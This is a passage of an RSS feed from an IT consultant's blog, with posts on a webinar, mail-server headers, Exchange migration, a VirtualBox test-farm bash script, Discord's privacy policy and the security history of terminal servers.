&lt;p>regarding my search in &lt;a href="https://shodan.io">https://shodan.io&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Carlo_M._Cipolla">https://en.wikipedia.org/wiki/Carlo_M._Cipolla&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Webinar: IT Risk Assessment and Information Security</title><link>https://blog.jakobs.systems/en/micro/20200925-it-risk-management-security/</link><pubDate>Fri, 25 Sep 2020 13:10:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200925-it-risk-management-security/</guid><description>IT Risk Assesment and Security</description><category>Security</category><category>Risks</category><category>Management</category><category>Concepts</category><content>&lt;p>My &lt;a href="https://blog.jakobs.systems/en/blog/20200905-privacy-shield-discord/">rant&lt;/a> showed some effect ;-)&lt;/p>
&lt;p>Coming Friday, 2nd October 2020 from 7pm on, I will give a presentation covering IT risk assessment and information security.&lt;/p>
&lt;p>Everything will be hands-on with realistic (live) examples from the web for an audience of developers, project managers, independent consultants and anyone interested in technology.&lt;/p>
&lt;p>Have a look at the &lt;a href="https://www.meetup.com/de-DE/entwickler">original announcement&lt;/a> here.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Friday, 02.10.2020, 1900 (CEST, local time)&lt;/strong>&lt;br>
Room: &lt;a href="https://meet.jakobs.systems/b/tom-hwb-uzi-mo0">https://meet.jakobs.systems/b/tom-hwb-uzi-mo0&lt;/a>&lt;br>
Password: 350533&lt;/p>
&lt;/blockquote>
&lt;p>Everybody is welcome but you should have at least a microphone for discussion after the webinar.&lt;/p>
&lt;p>Looking forward to meet you!&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Regarding Mailservers</title><link>https://blog.jakobs.systems/en/micro/20200923-emailserver/</link><pubDate>Wed, 23 Sep 2020 12:40:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200923-emailserver/</guid><description>Email Header by Microsoft</description><category>Security</category><category>Server</category><category>Microsoft</category><category>Bugs</category><category>Websites</category><content>&lt;p>Today I&amp;rsquo;ve recieved a Email with following Headers:&lt;/p>
&lt;pre tabindex="0">&lt;code>Arc-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none; dkim=none; arc=none
Erhalten: from xxxxxxxx.protection.outlook.com
&lt;/code>&lt;/pre>&lt;p>May I ask openly what this &amp;ldquo;protection&amp;rdquo; outlook.com server does in the absence of common spam and security features?&lt;/p>
&lt;p>There are numerous tools in the web for (self-)checking. I usually provide this link and try to lead by example before going into further details like IP-Stripping, pentests or security:&lt;/p>
&lt;p>&lt;a href="https://mxtoolbox.com/domain/jakobssystems.net/">https://mxtoolbox.com/domain/jakobssystems.net/&lt;/a>&lt;/p>
&lt;p>With this in mind,&lt;br>
stay healthy!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/mailserver-test.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/mailserver-test.webp#c" alt="Mailserver Online-Schnelltest" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Digitization in Schools: Micosoft Myth-Busted</title><link>https://blog.jakobs.systems/en/micro/20200921-microsoft-myths/</link><pubDate>Mon, 21 Sep 2020 12:26:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200921-microsoft-myths/</guid><description>Microsoft Mythen genauer nachgeschaut von Mike Kuketz</description><category>Microsoft</category><category>Migration</category><category>Quote</category><content>&lt;p>Today Mike Kuketz published a great article in his blog on Digitization in schools and on educational policy, unfortunately in German only, but worth to read:&lt;/p>
&lt;p>&lt;a href="https://www.kuketz-blog.de/bildungswesen-entlarvung-der-haeufigsten-microsoft-mythen/">Bildungswesen: Entlarvung der häufigsten Microsoft-Mythen&lt;/a>&lt;/p>
&lt;p>Have fun reading and a good start to the week!&lt;br>
Here are some Power-Quotes:&lt;/p>
&lt;blockquote>
&lt;p>Therefore, only product training courses take place. The expiration date for such trained knowledge will be exceeded by the next update of the user interface and subsequently has to be re-learned. So students do not receive digital competence about how something works from a technical point of view, but rather which &amp;ldquo;buttons&amp;rdquo; they have to press.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>With the example of the Corona-Warning-App, developed by SAP and Telekom, it is clearly proven that open source can lead to more transparency, more security and more independency from manufacturers or corporations. The resulting departure from classic licensing models not only leads to cost reduction, but also provides more (planning) certainty and boosts the regional business. The long-term objective should be investments in services rather than in licence fees, since proprietary software licence schemes often do not provide real added value or benefit.&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Transparency note:&lt;/strong>&lt;/p>
&lt;p>Tomas Jakobs supports Mike Kuketz financially for several years with a permanent donation on a monthly basis and &lt;a href="https://www.kuketz-blog.de/mitwirkende/#moderator">as Mod in the Kuketz Forum&lt;/a>.&lt;/p></content></item><item><title>Xojo User Meeting 18.09.2020, 1800 LT</title><link>https://blog.jakobs.systems/en/micro/20200916-xojo-usergroup-meeting/</link><pubDate>Wed, 16 Sep 2020 07:25:10 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200916-xojo-usergroup-meeting/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>A new XOJO User Meeting (in german) is scheduled for September, 18th 2020 at 1800 LT.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>The new XOJO Web 2.0 API&lt;/li>
&lt;li>First experiences with XOJO 2020R1&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Duration: 45 Min.&lt;br>
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.&lt;/p>
&lt;p>Link to the conference room: &lt;a href="https://meet.jakobs.systems/b/tom-kks-v5k-xka">https://meet.jakobs.systems/b/tom-kks-v5k-xka&lt;/a>&lt;/p>
&lt;p>Anyone interested is welcome and can participate.
Password will be shared in XOJO Forum on Friday.&lt;/p>
&lt;p>See you!&lt;/p></content></item><item><title>Exchange Replacement</title><link>https://blog.jakobs.systems/en/micro/20200914-exchange-replacement/</link><pubDate>Mon, 14 Sep 2020 17:20:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20200914-exchange-replacement/</guid><description>Let's replace Exchnage!</description><category>Exchange</category><category>Microsoft</category><category>Mailserver</category><category>Security</category><category>Migration</category><content>&lt;p>I really just wanted to show you this Fnord, which is a very Microsoft-like thing:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/mso2019.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/mso2019.webp#c" alt="so typical Microsoft" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Well however, you might ask why I am tackling with Outlook 2019, let me please explain. A company with 40 mailboxes has decided to abandon its Exchange server. The following sentence is for all accountants and auditors: We are talking about cost-savings of 15-25% per year!&lt;/p>
&lt;p>Now everything runs with common internet standards on a Debian 10 with all the comfort and convenience as before: Starting with EAS-ActiveSync for Outlook (&lt;em>sigh&lt;/em> if it has to be), a great webmailer, public folders, calendars, contacts and even resources. Here are some more screenshots:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/dovecot.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/dovecot.webp#c" alt="Modern Webmailer" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/mso2019b.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/mso2019b.webp#c" alt="EAS without Exchange" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>With pleasure I would like to help you to migrate youe Exchange. Furthermore I can also setup, host and maintenance your Mailserver as MX in the internet.&lt;/p>
&lt;p>Don&amp;rsquo;t hesitate to contact me&lt;br>
Sincerely, Tomas Jakobs&lt;/p></content></item><item><title>Script for Testing-Farm</title><link>https://blog.jakobs.systems/en/blog/20200910-virtualbox-testing-script/</link><pubDate>Thu, 10 Sep 2020 11:00:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200910-virtualbox-testing-script/</guid><description>Raising a test farm with n computers? No problem!</description><category>Virtualbox</category><category>CI</category><category>Development</category><category>Opensource</category><content>&lt;p>Yesterday evening somebody desperately fought in despair with Packer, the younger sister of Vagrant. The goal was to create a testing farm of n machines for Virtualbox and make them accessible via SSH for further automated software testing/rollout.&lt;/p>
&lt;p>For me, this is much easier by using a simple bashscript. This morning I&amp;rsquo;ve made one even before the very first cup of coffee.&lt;/p>
&lt;pre tabindex="0">&lt;code>#!/bin/bash
# Pfad zur Master .ova Datei
MASTER_OVA=&amp;#34;$HOME/projects/testingfarm/DebianBuster.ova&amp;#34;
# Anzahl der gewünschten VMs
AMOUNT=2
# Name der VMs (Index und Datum werden noch angefügt = NAME-n-YYYYMMDD)
PREF_VMNAME=&amp;#34;debian&amp;#34;
# Anzahl der CPUs
PREF_CPU=1
# Zugewiesener Speicher
PREF_MEMORY=1024
# Datums-Suffix
THE_DATE=$(date +%Y%m%d)
# Logdatei zum prüfen
THE_LOG=&amp;#34;$HOME/projects/testingfarm/$THE_DATE-$PREF_VMNAME.log&amp;#34;
# -- Bitte ab hier nichts mehr manuell anpassen --
echo &amp;#34;Beginne Erstellen der Testumgebung... (Start: $(date +%T))&amp;#34; &amp;gt; $THE_LOG
for ((i=1; i&amp;lt;= $AMOUNT; i++))
do
vboxmanage controlvm $PREF_VMNAME-$i-$THE_DATE poweroff &amp;gt;&amp;gt; $THE_LOG
vboxmanage unregistervm $PREF_VMNAME-$i-$THE_DATE --delete &amp;gt;&amp;gt; $THE_LOG
vboxmanage import $MASTER_OVA --vsys 0 --cpus $PREF_CPU --memory $PREF_MEMORY --vmname $PREF_VMNAME-$i-$THE_DATE &amp;gt;&amp;gt; $THE_LOG
vboxmanage startvm $PREF_VMNAME-$i-$THE_DATE --type headless &amp;gt;&amp;gt; $THE_LOG
done
echo &amp;#34;...fertig! (Ende: $(date +%T))&amp;#34; &amp;gt;&amp;gt; $THE_LOG
&lt;/code>&lt;/pre>&lt;p>The script creates n boxes based on its .ova MASTER. I assume that all network settings (if bridged, NAT or anything else) are specified there. Alongside with a transferred SSH-ID for Ansible, if necessary. The whole setup can of course be done without a master by using createvm inside the for-loop, your mileage may vary.&lt;/p>
&lt;p>Have fun!&lt;/p></content></item><item><title>Privacy Shield Humour with Discord</title><link>https://blog.jakobs.systems/en/blog/20200905-privacy-shield-discord/</link><pubDate>Sat, 05 Sep 2020 12:50:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200905-privacy-shield-discord/</guid><description>Invitation to a meeting on Privacy Shield</description><category>PrivacyShield</category><category>Schrems</category><category>EU</category><category>USA</category><category>GDPR</category><category>Humour</category><content>&lt;p>Lately I received the following invitation for an online meeting in a network of consultants:&lt;/p>
&lt;blockquote>
&lt;p>The EU-US Privacy Shield has been overturned by the ECJ. What does this mean for companies and service providers? Which services may still be used and which data may be transferred?&lt;/p>
&lt;/blockquote>
&lt;p>Exactly my topic and I continued further reading. The link at the end of the mail led to a meeting room on the platform discord.com - exactly my sense of humour!&lt;/p>
&lt;p>A quick look at the Data Protection Policy&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, accessed yesterday afternoon, last updated 23 June 2020.&lt;/p>
&lt;blockquote>
&lt;p>(&amp;hellip;) we sometimes hire other companies or individuals to perform certain business-related functions. Examples of such functions include mailing information, maintaining databases and processing payments.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>We may disclose your information if required to do so by law or in the good faith belief that such action is necessary to (i) comply with a legal obligation, (ii) protect and defend the rights or property of the Company or Related Companies, (iii) protect the personal safety of users of the Services or the public, or (iv) protect against legal liability.&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Discord complies with the EU-U.S. Privacy Shield Framework and the Swiss – U.S. Privacy Shield Framework as set forth by the U.S. Department of Commerce regarding the collection, use, and retention of personal information transferred from the European Union and Switzerland to the United States, respectively.&lt;/p>
&lt;/blockquote>
&lt;p>But there&amp;rsquo;s still more to come: Like other so-called &amp;ldquo;social&amp;rdquo; networks, Discord reserves the right to obtain a perpetual, non-exclusive, transferable, royalty-free, sub-licensable and world-wide valid license&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> with any upload, distribution, or any other act of transmission in conjunction with its service, e.g. sharing a file during a conversation. It may therefore:&lt;/p>
&lt;blockquote>
&lt;p>(&amp;hellip;) use, host, reproduce, modify, adapt, adapt, publish, translate, create derivative works, distribute, perform and present content in connection with the operation and provision of the Service.&lt;/p>
&lt;/blockquote>
&lt;p>Discord effectively reserves all rights to do whatever it deems appropriate with its 100+ million customers&amp;rsquo; aggregated data from the daily volume of 4 billion server messages&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Let&amp;rsquo;s take a look how an advertising agency work when selling exclusive logo or images to their clients and sharing and working on it internally via Discord between its project team-members. What if the same image appears in an internet image-database just because Discord has entered a lucrative (for itself!) contract with an stockimage agency and therefore sublicensed all images to them?&lt;/p>
&lt;p>The legal basis is supposed to be the Privacy Shield, which has been legally invalidated&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> for nearly 2 months by the highest court of justice responsible for us. Unfortunately, many people forget that the Privacy Shield was not only declared invalid. The ECJ has identified a violation of fundamental EU rights, since a subject has effectively no rights towards US companies&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>. Without special technical or organizational measures and without &amp;ldquo;case by case&amp;rdquo; analysis, even the so-called standard contract clauses do not help&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>.&lt;/p>
&lt;blockquote>
&lt;p>(&amp;hellip;) people also have no option to go to the courts. The CJEU found that this violates the &amp;rsquo;essence&amp;rsquo; of certain EU fundamental rights.&lt;/p>
&lt;/blockquote>
&lt;p>As Max Schrems put it very nicely during his recent EU hearing: We are simply dealing with two fundamentally incompatible legal concepts of basic rights. Either the US changes its data protection laws or there is no legal basis, the data must not be transferred. It is so simple. Even the well-known Axel Voss can only approve 99.9% of Max Schrems&amp;rsquo; statements in the same hearing&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Okay Tomas, don&amp;rsquo;t be a bummer, they just don&amp;rsquo;t know what they are doing. They just need someone to tell them. Minimize the risk to yourself and attend the meeting. So I started up a testing VM used for exactly such purposes without access to customer- or project-data, separated from my entire internal network. The following screenshots and this &lt;a href="https://blog.jakobs.systems/vid/discord-screensession.mp4">screencast&lt;/a> document my attempts to log in via web interface:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/discord-screen1.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/discord-screen1.webp#c" alt="Screenshot 1" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/discord-screen2.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/discord-screen2.webp#c" alt="Screenshot 2" loading="lazy"/>&lt;/picture>
&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/discord-screen3.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/discord-screen3.webp#c" alt="Screenshot 3" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Conculsion: Anyone who intends to use Discord cannot avoid the services of Google, especially Google Analytics and NewRelic. Neither of them mentioned in the privacy policy. Regarding this NewRelic is no unknown in this context, as it enables even more detailed data mining in &amp;ldquo;real time&amp;rdquo; not only with the aggregated contents and metadata but also from the devices used by the user - in short, the complete IT stack &lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Bearing that in mind, the following detail is quite insignificant, but I find it debunking in its own distinctive way. Discord uses the free polyfill.io&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> on its site but not on their own (rented) servers but hosted and externally linked. This is the technical comination of disinterest and laziness.&lt;/p>
&lt;p>After half an hour of trying I deleted the VM and wrote a friendly, but determined cancellation to the organizer. Of course combined with my invitation and offer to give a lecture on the subject on my own conference server.&lt;/p>
&lt;p>Anyone who is working on projects with NDAs, competition or confidentiality clauses is no longer on thin ice with the use of such services, he has already broken through. I would be pleased to help you with the development and risk-assessment of your own technology.&lt;/p>
&lt;p>With this in mind,&lt;br>
you are welcome&lt;/p>
&lt;p>&lt;strong>Transparency notice:&lt;/strong>&lt;/p>
&lt;p>Tomas Jakobs has been a Gold Sponsor (No 2879) of noyb for several years now and supports the organization with an annual three-digit donation&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://discord.com/privacy">https://discord.com/privacy&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://discord.com/terms">https://discord.com/terms&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://discord.com/company">https://discord.com/company&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://edpb.europa.eu/sites/edpb/files/files/file1/20200724_edpb_faqoncjeuc31118.pdf">https://edpb.europa.eu/sites/edpb/files/files/file1/20200724_edpb_faqoncjeuc31118.pdf&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://noyb.eu/en/cjeu">https://noyb.eu/en/cjeu&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://noyb.eu/en/next-steps-eu-companies-faqs">https://noyb.eu/en/next-steps-eu-companies-faqs&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://noyb.eu/en/video-max-schrems-hearing-eu-us-data-transfers">https://noyb.eu/en/video-max-schrems-hearing-eu-us-data-transfers&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>🚫 &lt;a href="https://www.marketwatch.com/story/new-relic-headed-for-an-ipo-2013-06-03">https://www.marketwatch.com/story/new-relic-headed-for-an-ipo-2013-06-03&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://github.com/financial-times/polyfill-service">https://github.com/financial-times/polyfill-service&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Working in your Homeoffice - Part II</title><link>https://blog.jakobs.systems/en/blog/20200831-guacamole-terminalserver/</link><pubDate>Mon, 31 Aug 2020 09:30:21 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20200831-guacamole-terminalserver/</guid><description>How to integrate homeoffice workstations in corporate networks - Terminalserver</description><category>Citrix</category><category>Terminalserver</category><category>Opensource</category><category>Guacamole</category><category>Concepts</category><content>&lt;h2 id="terminal-server---a-look-back">Terminal Server - A look back&lt;/h2>
&lt;p>The second part of the home office series is about terminalservers. The concept is quite old and we can&amp;rsquo;t avoid a short excursion into the past:&lt;/p>
&lt;p>It leads us back to the late 40s and 50s of the last century right to the beginnings of computer history. Computing time on such huge Von-Neumann-Computers&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> was limited, very expensive and of course sometimes secret. Without going too much into details, I recommend the book by Kai Schlieter &amp;ldquo;Die Herrschaftsformel&amp;rdquo;&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>, which shows the developmental trajectories of computer science, defence technology, cybernetics and public relations.&lt;/p>
&lt;p>However what is important for us is the understanding of the 1950s that only multi-user and multitasking systems were capable of being operated in an economically meaningful way. Different programs on one central mainframe computer were executed sequentially in short time frames so several users could work with their applications on their own input and output devices called terminals. This &amp;ldquo;time-sharing&amp;rdquo; principle&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> forms the basis of every modern operating system.&lt;/p>
&lt;p>With the introduction of the microchip in 1971&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>, but no later than with the explosive growth of home and personal computers in the 1970s and early 1980s, the paradigm shifted to single-user mode&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> computers. Operating systems like CP/M from 1974&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> or its threefold copied clone MSDOS from 1981&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> are the better known protagonists of this devolopment. My very first PC from 1988, a Schneider EURO-PC with MSDOS 3.3 originates from exactly this time.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice-ts-history.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice-ts-history.webp#c" alt="My first PC with MSDOS 3.3 and GW-BASIC" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>It were those low-cost, single-user-mode devices that, along with graphical user interfaces, found their way into mainstream and enterprise environments. And as in the 50s, everyone knew: only with shared multi-users and above all multitasking systems serious and economically viable business operations were possible. It is a fact that a computer usually spends most of its time in idle&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>This is why the development of the X Window System&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>, an abstraction layer for transmitting graphical screen contents and control commands to local and remote terminals, began in the Unix world starting in 1984. Unlike before this also can be carried out over a network. A small start-up called Citrus copied and optimised this principle to MSDOS-based systems from 1989 on. The Independent Computing Architecture, the ICA protocol&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> was born. A short time later this company was renamed to the current brand name Citrix&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup>. Microsoft quickly licensed this technology, integrated it as Terminal Services&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> in its Windows NT product family and called it Remote Desktop Protocol&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="a-matter-of-perspective">A matter of perspective&lt;/h2>
&lt;p>Citrix and Microsoft jointly share the market for Windows-based terminal servers. For a long time, Citrix was considered to have the leaner and higher performance protocol and benefited from its technological leadership. The &amp;ldquo;seamless&amp;rdquo; window mode and smooth integration with local apps was a knockout factor. However, by 2016 at the latest, Microsoft has caught up with Citrix.&lt;/p>
&lt;p>Citrix also achieved a technological lead in the area of virtualisation ahead of Microsoft. Again, in my opinion, Microsoft has caught up. But the question of virtualisation is another issue that does not arise here.&lt;/p>
&lt;p>I cannot say which side is better. It is a matter of perspective and where someone with it&amp;rsquo;s network comes from. Anyway, such A/B questions often tend to be settled in an evidence-free way like questions of faith and rarely address specific underlying problems. For instance, besides Microsoft and Citrix there is also Thinstuff &lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup>. My personal preference when it comes down to segmenting older applications on even older server systems quickly, making them accessible as terminal servers.&lt;/p>
&lt;p>The better approach should be: What exactly should a terminal server do? Every time I see complete desktops inside terminals with all applications, web browsers and email usage, I ask myself what kind of thinking is behind this in terms of information security. Usually these systems are made available to everyone on the internet, without port-nocking&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>, GeoIP-blocking&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> or IDS/IPS systems with Snort rules&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup> attached in front of them.&lt;/p>
&lt;p>Recently, Citrix had been struggling with an unpatched vulnerability which made all systems that were accessible from the Internet instantly attackable. Even the BSI had to issue a warning&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>, since more than 5000 companies in Germany alone were affected. A scan with this nice script&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> revealed dozens of unpatched systems in Shodan&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> half a year later in July 2020.&lt;/p>
&lt;p>At Microsoft, the security situation is by no means better. It was and still is the preferred gateway for hackers&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup>. In fact, when the &amp;ldquo;Bluekeep&amp;rdquo; vulnerability was discovered last year, which was a fundamental design flaw in the implementation, Microsoft had to patch even the long-unsupported Windows versions XP and 2003 servers&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup>. However, even without Bluekeep, FBI warnings were almost part of a recurring ritual&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>Let us keep it on record:&lt;/p>
&lt;ul>
&lt;li>Without additional protective mechanisms, terminal servers that are accessible from the Internet carry a considerable potential of risk.&lt;/li>
&lt;li>Both Citrix and Microsoft terminalservers are proprietary black boxes. No evidence-based conclusions can be made about their security. Both of them operate on the principle of &amp;ldquo;security by obscurity&amp;rdquo;&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup>.&lt;/li>
&lt;/ul>
&lt;h2 id="solutions">Solutions&lt;/h2>
&lt;p>If technologies or systems carry security risks inherently, the question arises what risk-reducing measures may help to bring them down to an acceptable level. This is only a sample of the possibilities:&lt;/p>
&lt;ul>
&lt;li>Multi-factor authentication e.g. TOTP&lt;/li>
&lt;li>Managed SSO&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup> with intrusion detection and heuristics&lt;/li>
&lt;li>Isolation by e.g. avoiding AD integration&lt;/li>
&lt;li>Use of IDS/IPS systems&lt;/li>
&lt;li>Restriction to fixed IPs e.g. with VPNs&lt;/li>
&lt;li>Use of controlled transition points (gateways or proxies)&lt;/li>
&lt;li>Application-specific functions and security concepts&lt;/li>
&lt;/ul>
&lt;h2 id="terminalserver---looking-ahead">Terminalserver - Looking ahead&lt;/h2>
&lt;p>A remote home office workstation can connect to a terminalserver over the Internet in basically two ways:&lt;/p>
&lt;ul>
&lt;li>with a proprietary client software&lt;/li>
&lt;li>in standard web browser&lt;/li>
&lt;/ul>
